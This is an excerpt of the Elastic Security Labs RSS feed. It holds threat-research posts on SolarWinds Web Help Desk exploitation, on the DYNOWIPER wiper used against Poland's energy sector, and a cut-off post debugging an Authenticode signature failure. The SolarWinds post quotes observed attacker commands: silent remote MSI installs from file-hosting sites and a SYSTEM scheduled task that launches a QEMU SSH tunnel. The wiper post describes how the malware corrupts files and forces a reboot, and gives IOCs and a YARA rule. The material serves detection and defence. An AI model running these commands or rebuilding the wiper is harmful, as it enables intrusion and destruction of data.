<li><code>CVE-2025-26399</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-26399">SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability</a>   </li>
<li><code>CVE-2025-40536</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40536">SolarWinds Web Help Desk Security Control Bypass Vulnerability</a>  </li>
<li><code>CVE-2025-40551</code> - <a href="https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551">SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability</a></li>
</ul>
<p>Below is a table of the vulnerability descriptions and the impacted product versions:</p>
<p>| Vulnerability ID | Vulnerability Description | Affected Products |
| :---- | :---- | :---- |
| CVE-2025-26399 | Unauthenticated AjaxProxy deserialization remote code execution vulnerability | SolarWinds Web Help Desk 12.8.7 and all previous versions |
| CVE-2025-40536 | Susceptible to a security control bypass vulnerability | SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions |
| CVE-2025-40551 | Untrusted data deserialization vulnerability | SolarWinds Web Help Desk 12.8.8 HF1 and all previous versions |</p>
<p>After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of <a href="https://docs.velociraptor.app/">Velociraptor</a> being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel. </p>
<p>Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the <code>NTDS.dit</code> database from a Windows domain controller.</p>
<p>The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.</p>
<h2 id="executionflow">Execution Flow</h2>
<h3 id="initialaccess">Initial access</h3>
<p>Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on "living-off-the-land" (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions. </p>
<p>The original attack chain happens from the WHD service wrapper (<code>wrapper.exe</code>) spawning <code>java.exe</code> which then spawns the Windows command processor (<code>cmd.exe</code>). An Elastic SIEM rule has been <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">created</a> for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.</p>
<pre><code>any where host.os.type == "windows" and
(
 (event.category == "library" and
  process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and
  (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and
  process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe"))
)
</code></pre>
<p><em>SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</em> </p>
<p>One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called <a href="https://catbox.moe/">Catbox</a>.  The following command-line was observed:</p>
<pre><code>msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
</code></pre>
<p>In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">here</a>, and an endpoint behavior protection <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">here</a>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta2df4f2b8fff08dd/6a7d8443bd219898ed755316/image2.png" alt="Alert - Remote File Execution via MSIEXEC" title="Alert - Remote File Execution via MSIEXEC" /></p>
<p>Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.</p>
<h3 id="discovery">Discovery</h3>
<p>After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.<br />
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:</p>
<pre><code>net group "domain computers" /do
</code></pre>
<p>An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available <a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">here</a>.</p>
<h3 id="evasion">Evasion</h3>
<p>One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, <a href="https://github.com/Velocidex/velociraptor">Velociraptor</a>. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:</p>
<pre><code>msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
</code></pre>
<p>They followed this up with an installation of the Cloudflare Tunnel <a href="https://github.com/cloudflare/cloudflared">client</a> (<code>Cloudflared</code>) with the following command:</p>
<pre><code>msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
</code></pre>
<p>Echoing trends observed throughout 2025 and described in the <a href="https://www.elastic.co/security-labs/elastic-publishes-2025-global-threat-report">Elastic Global Threat Report</a>, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously <a href="https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/">highlighted</a> this emerging attacker trend involving the use of Velociraptor for post-compromise activity.</p>
<p>Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications.  Existing Elastic <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">SIEM</a> and <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">endpoint</a> rules identify these attempts to undermine security settings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt408a409576a0f1ba/6a7d8445cc7e56dda75d0d9f/image3.png" alt="Alert - Microsoft Windows Defender Tampering" title="Alert - Microsoft Windows Defender Tampering" /></p>
<h3 id="persistence">Persistence</h3>
<p>In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:</p>
<pre><code>SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN "TPMProfiler" /TR        "C:\Users\&lt;user&gt;\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22"
&lt;/user&gt;
</code></pre>
<p>This scheduled task named <code>TPMProfiler</code> was configured to execute <a href="https://www.qemu.org/">QEMU</a>, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.  </p>
<p>Elastic Security published and maintains a SIEM detection <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">rule</a> to detect the creation of this scheduled task.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcbaff11407c6657e/6a7d8448bd21989fdc75531a/image1.png" alt="Alert - Persistence via Scheduled Job Creation" title="Alert - Persistence via Scheduled Job Creation" /></p>
<p>In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml">here</a> and an Elastic prebuilt detection rule <a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">here</a>.</p>
<h3 id="credentialaccess">Credential Access</h3>
<p>As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (<code>ntds.dit</code>). Elastic provides multiple detections for this behavior, including the rules referenced <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">here</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">here</a>.</p>
<h3 id="recommendations">Recommendations</h3>
<ol>
<li>Apply the latest SolarWinds Web Help Desk patches.  </li>
<li>Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.  </li>
<li>Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.  </li>
<li>Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.</li>
</ol>
<h3 id="detectingsolarwindswhdexploitation">Detecting SolarWinds WHD exploitation</h3>
<h4 id="elasticsecurityprebuiltdetectionrules">Elastic Security prebuilt detection rules</h4>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_potential_webhelpdesk_exploit.toml">Suspicious SolarWinds Web Help Desk Java Module Load or Child Process</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_msiexec_remote_payload.toml">Potential Remote Install via MsiExec</a>   </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_generic_account_groups.toml">Windows Account or Group Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_disabled_via_registry.toml">Windows Defender Disabled via Registry Modification</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_job_creation.toml">Persistence via Scheduled Job Creation</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml">Potential Credential Access via Windows Utilities</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/793d79b0637135298c821a762a98312ad7f3c7d1/rules/windows/command_and_control_tunnel_vscode.toml#L39">Attempt to Establish VScode Remote Tunnel</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/df9c27d82e74eb51e39376f1af30d2beb738c673/rules/windows/command_and_control_new_terms_commonly_abused_rat_execution.toml#L26">First Time Seen Commonly Abused Remote Access Tool Execution</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_tunnel_qemu.toml">Potential Traffic Tunneling using QEMU</a></li>
</ul>
<h4 id="elasticdefendprebuiltpreventionrules">Elastic Defend prebuilt prevention rules</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_file_execution_via_msiexec.toml">Remote File Execution via MSIEXEC</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_windows_defender_registry_modification.toml">Suspicious Windows Defender Registry Modification</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/windows/command_and_control_potential_traffic_tunneling_with_qemu.toml#L3">Potential Traffic Tunneling with QEMU</a>   </li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/7ad65c2cfca7a6c54c74dbe6206e968234209f94/behavior/rules/cross-platform/execution_attempt_to_establish_vscode_remote_tunnel.toml#L16">Attempt to establish VScode Remote Tunnel</a> </li>
</ul>
<h3 id="references">References</h3>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/">https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/</a></li>
</ul>
<h3 id="mitreattckmapping">MITRE ATT&amp;CK Mapping</h3>
<p>| Tactic         | Technique | ID |
| :---- | :---- | :---- |
| Initial Access | Exploit Public-Facing Application | T1190 |
| Execution | PowerShell | T1059.001 |
| Lateral Movement | Remote Service Session Hijacking | T1563 |
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 |
| Persistence | Scheduled Task/Job | T1053.005 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/solarwinds-whd-exploitation</link>
    <guid isPermaLink="false">solarwinds-whd-exploitation</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d136275a6f125bf/6a7d844bdd26d221442a7297/photo-edited-10.png" length="0" type="image/png"/>
    <pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[DYNOWIPER: Destructive Malware Targeting Poland's Energy Sector]]></title>
    <description><![CDATA[Learn how Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring.]]></description>
    <content:encoded><![CDATA[<h2 id="summary">Summary</h2>
<ul>
<li>On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant</li>
<li>A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks</li>
<li><a href="https://mwdb.cert.pl/">CERT Polska</a> attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly  </li>
<li>Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring</li>
</ul>
<h2 id="background">Background</h2>
<p>The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.</p>
<p>According to CERT Polska’s report, the campaign targeted:  </p>
<ul>
<li>30+ wind and solar farms across Poland  </li>
<li>A major CHP plant  supplying heat to nearly half a million customers  </li>
<li>A manufacturing sector company characterized as an opportunistic target</li>
</ul>
<h3 id="attackvector">Attack Vector</h3>
<p>The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:</p>
<ul>
<li>VPN interfaces allowing authentication without multi-factor authentication </li>
<li>Reused credentials across multiple facilities  </li>
<li>Historical vulnerabilities in unpatched devices</li>
</ul>
<p>Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.</p>
<h2 id="dynowiperdetails">DYNOWIPER Details</h2>
<p>Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.</p>
<h3 id="samplemetadata">Sample Metadata</h3>
<p>| Property | Value |<br />
|----------|-------|<br />
| <strong>SHA256</strong> | <code>835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5</code> |<br />
| <strong>SHA1</strong> | <code>4ec3c90846af6b79ee1a5188eefa3fd21f6d4cf6</code> |<br />
| <strong>MD5</strong> | <code>a727362416834fa63672b87820ff7f27</code> |<br />
| <strong>File Type</strong> | Windows PE32 Executable (GUI) |<br />
| <strong>Architecture</strong> | 32-bit x86 |<br />
| <strong>File Size</strong> | 167,424 bytes |<br />
| <strong>Compiler</strong> | Visual C++ (MSVC) |<br />
| <strong>Compilation Date</strong> | 2025-12-26 13:51:11 UTC |</p>
<h3 id="destructionmechanism">Destruction Mechanism</h3>
<h4 id="driveenumeration">Drive Enumeration</h4>
<p>The malware enumerates all logical drives (A-Z) using <code>GetLogicalDrives()</code> and targets only <code>DRIVE_FIXED</code> (hard drives) and <code>DRIVE_REMOVABLE</code> (USB drives, SD cards) types.</p>
<h4 id="filecorruption">File Corruption</h4>
<p>DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:</p>
<ol>
<li>Removing file protection attributes via <code>SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)</code>  </li>
<li>Opening files with <code>CreateFileW</code> for read/write access  </li>
<li>Overwriting the file header with 16 bytes of random data  </li>
<li>For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences</li>
</ol>
<p>This approach allows rapid corruption of many files while ensuring data is unrecoverable.</p>
<h4 id="directoryexclusionlist">Directory Exclusion List</h4>
<p>The malware deliberately avoids system-critical directories to maintain system stability during the attack:</p>
<ul>
<li><code>windows</code>, <code>system32</code>  </li>
<li><code>program files</code>, <code>program files(x86)</code>  </li>
<li><code>boot</code>, <code>appdata</code>, <code>temp</code>  </li>
<li><code>recycle.bin</code>, <code>$recycle.bin</code>  </li>
<li><code>perflogs</code>, <code>documents and settings</code></li>
</ul>
<p>This design choice maximizes data destruction <em>before</em> the system becomes unstable, ensuring the wiper completes its mission.</p>
<h4 id="forcedreboot">Forced Reboot</h4>
<p>After corruption and deletion phases complete, DYNOWIPER:  </p>
<ol>
<li>Obtains a process token via <code>OpenProcessToken()</code>  </li>
<li>Enables <code>SeShutdownPrivilege</code> via <code>AdjustTokenPrivileges()</code>  </li>
<li>Forces system reboot with <code>ExitWindowsEx(EWX_REBOOT | EWX_FORCE)</code></li>
</ol>
<h3 id="notablecharacteristics">Notable Characteristics</h3>
<p>DYNOWIPER is distinguished by several characteristics:</p>
<ul>
<li>No persistence mechanism - The malware does not attempt to survive reboots </li>
<li>No C2 communication - Completely standalone, no network callbacks  </li>
<li>No shell command invocations - All operations performed via Windows API  </li>
<li>No anti-analysis techniques - No attempts to evade detection or debugging </li>
<li>Characteristic PDB path: <code>C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb</code></li>
</ul>
<p>The use of "vagrant" in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.</p>
<h3 id="versiondifferences">Version Differences</h3>
<p>CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.</p>
<h2 id="elasticdefendprotection">Elastic Defend Protection</h2>
<p>During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.</p>
<h3 id="detectionalert">Detection Alert</h3>
<p>```json<br />
{<br />
  "message": "Ransomware Prevention Alert",<br />
  "event": {<br />
    "code": "ransomware",<br />
    "action": "canary-activity",<br />
    "type": ["info", "start", "change", "denied"],<br />
    "category": ["malware", "intrusion_detection", "process", "file"],<br />
    "outcome": "success"<br />
  },<br />
  "Ransomware": {<br />
    "feature": "canary",<br />
    "version": "1.9.0"<br />
  }<br />
}  </p>
<pre><code>### How Canary Protection Works

Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.

When the wiper attempted to corrupt this canary file, Elastic Defend immediately:  
1. Detected the suspicious modification pattern  
2. Blocked further execution  
3. Generated a high-confidence ransomware alert (risk score: 73)

While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.

## Why Behavioral Detection is Crucial

Destructive malware can present unique challenges to minimizing risk:  
* They may not establish C2 connections (no network indicators)  
* They may not use persistence mechanisms (limited forensic artifacts)  
* They execute quickly and destructively  
* Static signature-based detection may miss new variants

Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.

## Indicators of Compromise

### File Hashes (DYNOWIPER)

| SHA256 | Filename |  
|--------|----------|  
| `835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5` | dynacom\_update.exe |  
| `65099f306d27c8bcdd7ba3062c012d2471812ec5e06678096394b238210f0f7c` | Source.exe |  
| `60c70cdcb1e998bffed2e6e7298e1ab6bb3d90df04e437486c04e77c411cae4b` | schtask.exe |  
| `d1389a1ff652f8ca5576f10e9fa2bf8e8398699ddfc87ddd3e26adb201242160` | schtask.exe |

### Distribution Scripts

| SHA256 | Filename |  
|--------|----------|  
| `8759e79cf3341406564635f3f08b2f333b0547c444735dba54ea6fce8539cf15` | dynacon_update.ps1 |  
| `f4e9a3ddb83c53f5b7717af737ab0885abd2f1b89b2c676d3441a793f65ffaee` | exp.ps1 |

### Network Indicators

| IP Address | Context |  
|------------|---------|  
| `185.200.177[.]10` | VPN logins, direct DYNOWIPER execution |  
| `31.172.71[.]5` | Reverse proxy for data exfiltration |  
| `193.200.17[.]163` | VPN logins |  
| `185.82.127[.]20` | VPN logins |  
| `72.62.35[.]76` | VPN and O365 logins |

### YARA Rule
</code></pre>
<p>yara<br />
rule DYNOWIPER {<br />
    meta: 
        author = "CERT Polska"
        description = "Detects DYNOWIPER data destruction malware"<br />
        severity = "CRITICAL"<br />
        reference = "https://mwdb.cert.pl/"  </p>
<pre><code>strings:  
    $a1 = "$recycle.bin" wide  
    $a2 = "program files(x86)" wide  
    $a3 = "perflogs" wide  
    $a4 = "windows\x00" wide  
    $b1 = "Error opening file: " wide  
    $priv = "SeShutdownPrivilege" wide  
    $api1 = "GetLogicalDrives"  
    $api2 = "ExitWindowsEx"  
    $api3 = "AdjustTokenPrivileges"  

condition:  
    uint16(0) == 0x5A4D  
    and filesize &lt; 500KB  
    and 4 of ($a*, $b1)  
    and $priv  
    and 2 of ($api*)  
</code></pre>
<p>}<br />
```</p>
<h2 id="recommendations">Recommendations</h2>
<h3 id="immediateactions">Immediate Actions</h3>
<ol>
<li><strong>Deploy behavioral ransomware protection</strong> - Signature-based detection alone is insufficient against novel wipers  </li>
<li><strong>Enable MFA on all VPN and remote access solutions</strong> - The attackers exploited accounts without MFA  </li>
<li><strong>Audit FortiGate and edge device configurations</strong> - Check for unauthorized accounts, rules, and scheduled tasks  </li>
<li><strong>Review default credentials</strong> - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords</li>
</ol>
<h3 id="detectionopportunities">Detection Opportunities</h3>
<p>Monitor for:  </p>
<ul>
<li><code>GetLogicalDrives</code> API calls followed by mass file operations  </li>
<li><code>SetFileAttributesW</code> calls setting <code>FILE_ATTRIBUTE_NORMAL</code> at scale  </li>
<li>Privilege escalation for <code>SeShutdownPrivilege</code> followed by <code>ExitWindowsEx</code> </li>
<li>GPO modifications creating scheduled tasks with SYSTEM privileges  </li>
<li>Unusual file modifications across multiple drives simultaneously</li>
</ul>
<h3 id="recoveryconsiderations">Recovery Considerations</h3>
<ul>
<li><strong>Restore from offline/air-gapped backups</strong> - Online backups may have been targeted  </li>
<li><strong>Verify backup integrity</strong> before restoration  </li>
<li><strong>Assume credential compromise</strong> - Reset all passwords, especially domain admin accounts  </li>
<li><strong>Audit all removable media</strong> that may have been connected to affected systems</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.</p>
<p>The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.</p>
<p>Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.</p>
<hr />
<h2 id="references">References</h2>
<ul>
<li>CERT Polska: <a href="https://mwdb.cert.pl/">Energy Sector Incident Report – 29 December</a>   </li>
<li>Cisco Talos: <a href="https://blog.talosintelligence.com/static-tundra">Static Tundra</a> </li>
<li>FBI IC3: <a href="https://www.ic3.gov/PSA/2025/PSA250820">PSA250820</a></li>
</ul>
<h2 id="mitreattckmapping">MITRE ATT&amp;CK Mapping</h2>
<p>| Tactic | Technique | ID |<br />
|--------|-----------|-----|<br />
| Execution | Scheduled Task/Job | T1053.005 |<br />
| Defense Evasion | File and Directory Permissions Modification | T1222 |<br />
| Discovery | Local Storage Discovery | T1680 |<br />
| Impact | Data Destruction | T1485 |<br />
| Impact | System Shutdown/Reboot | T1529 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/dynowiper</link>
    <guid isPermaLink="false">dynowiper</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f41932b64947d99/6a7d7f58dd26d2c2112a7225/image1.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Investigating a Mysteriously Malformed Authenticode Signature]]></title>
    <description><![CDATA[An in-depth investigation tracing a Windows Authenticode validation failure from vague error codes to undocumented kernel routines.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Elastic Security Labs recently encountered a signature validation issue with one of our Windows binaries. The executable was signed using <code>signtool.exe</code> as part of our standard continuous integration (CI) process, but on this occasion, the output file failed signature validation with the following error message:</p>
<blockquote>
  <p>The digital signature of the object is malformed. For technical detail, see security bulletin MS13-098.</p>
</blockquote>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt086b659fb9be0a7e/6a7c8a83e02fac69455d0633/image2.png" alt="MS13-098 error" title="MS13-098 error" /></p>
<p>The <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098">documentation for MS13-098</a> is vague, but it describes a potential vulnerability related to malformed Authenticode signatures. Nothing obvious had changed on our end that might explain this new error, so we needed to investigate the cause and resolve the issue.</p>
<p>While we identified that this issue was affecting one of our signed Windows binaries, it could impact any binary. We are publishing this research as a reference for anyone else who may encounter the same problem in the future.</p>
<h2 id="diagnosis">Diagnosis</h2>
<p>To investigate further, we created a basic test program that called the Windows <code>WinVerifyTrust</code> function against the problematic executable to manually validate the signature. This revealed that it was failing with the error code <code>TRUST_E_MALFORMED_SIGNATURE</code>.</p>
<p><code>WinVerifyTrust</code> is a complex function, but after attaching a debugger, we discovered that the error code was being set at the following point:</p>
<pre><code>dwReserved1 = psSipSubjectInfo-&gt;dwReserved1;
if(!dwReserved1)
    goto LABEL_58;
v40 = I_GetRelaxedMarkerCheckFlags(a1, v22, (unsigned int *)&amp;pvData);
if(v40 &lt; 0)
    break;
if(!pvData)
    v42 = 0x80096011;    // TRUST_E_MALFORMED_SIGNATURE
</code></pre>
<p>As shown above, if <code>psSipSubjectInfo-&gt;dwReserved1</code> is not <code>0</code>, the code calls <code>I_GetRelaxedMarkerCheckFlags</code>. If this function returns no data, the code sets the <code>TRUST_E_MALFORMED_SIGNATURE</code> error and exits.</p>
<p>When stepping through the code with our problematic binary, we saw that <code>dwReserved1</code> was indeed set to <code>1</code>. Running the same test against a correctly signed binary, this value was always <code>0</code>, which skips the call to <code>I_GetRelaxedMarkerCheckFlags</code>.</p>
<p>Looking into <code>I_GetRelaxedMarkerCheckFlags</code>, we saw that it simply checks for the presence of a specific attribute: <code>1.3.6.1.4.1.311.2.6.1</code>. A quick online search turned up very little other than the fact that this object identifier (OID) is labeled as <code>SpcRelaxedPEMarkerCheck</code>.</p>
<pre><code>__int64 __fastcall I_GetRelaxedMarkerCheckFlags(struct _CRYPT_PROVIDER_DATA *a1, DWORD a2, unsigned int *a3)
{
    unsigned int v4; // ebx
    CRYPT_PROVIDER_SGNR *ProvSignerFromChain; // rax
    PCRYPT_ATTRIBUTE Attribute; // rax
    signed int LastError; // eax
    DWORD pcbStructInfo; // [rsp+60h] [rbp+18h] BYREF

    pcbStructInfo = 4;
    v4 = 0;
    *a3 = 0;
    ProvSignerFromChain = WTHelperGetProvSignerFromChain(a1, a2, 0, 0);
    if(ProvSignerFromChain)
    {
        Attribute = CertFindAttribute(
            "1.3.6.1.4.1.311.2.6.1",
            ProvSignerFromChain-&gt;psSigner-&gt;AuthAttrs.cAttr,
            ProvSignerFromChain-&gt;psSigner-&gt;AuthAttrs.rgAttr);
        if(Attribute)
        {
            if(!CryptDecodeObject(
                a1-&gt;dwEncoding,
                (LPCSTR)0x1B,
                Attribute-&gt;rgValue-&gt;pbData,
                Attribute-&gt;rgValue-&gt;cbData,
                0,
                a3,
                &amp;pcbStructInfo))
            {
                return HRESULT_FROM_WIN32(GetLastError());
            }
        }
    }

    return v4;
}
</code></pre>
<p>Our binary did not have this attribute, which caused the function to return no data and triggered the error. The function names reminded us of an optional parameter that we had previously seen in <code>signtool.exe</code>:</p>
<blockquote>
  <p><code>/rmc</code> - Specifies signing a PE file with the relaxed marker check semantic. The flag is ignored for non-PE files. During verification, certain authenticated sections of the signature will bypass invalid PE markers check. This option should only be used after careful consideration and reviewing the details of MSRC case MS12-024 to ensure that no vulnerabilities are introduced.</p>
</blockquote>
<p>Based on our analysis, we suspected that re-signing the executable with the “relaxed marker check” flag (<code>/rmc</code>), and as expected, the signature was now valid.</p>
<h3 id="rootcauseanalysis">Root cause analysis</h3>
<p>While the workaround above resolved our immediate problem, it clearly wasn’t the root cause. We needed to investigate further to understand why the internal <code>dwReserved1</code> flag was set in the first place.</p>
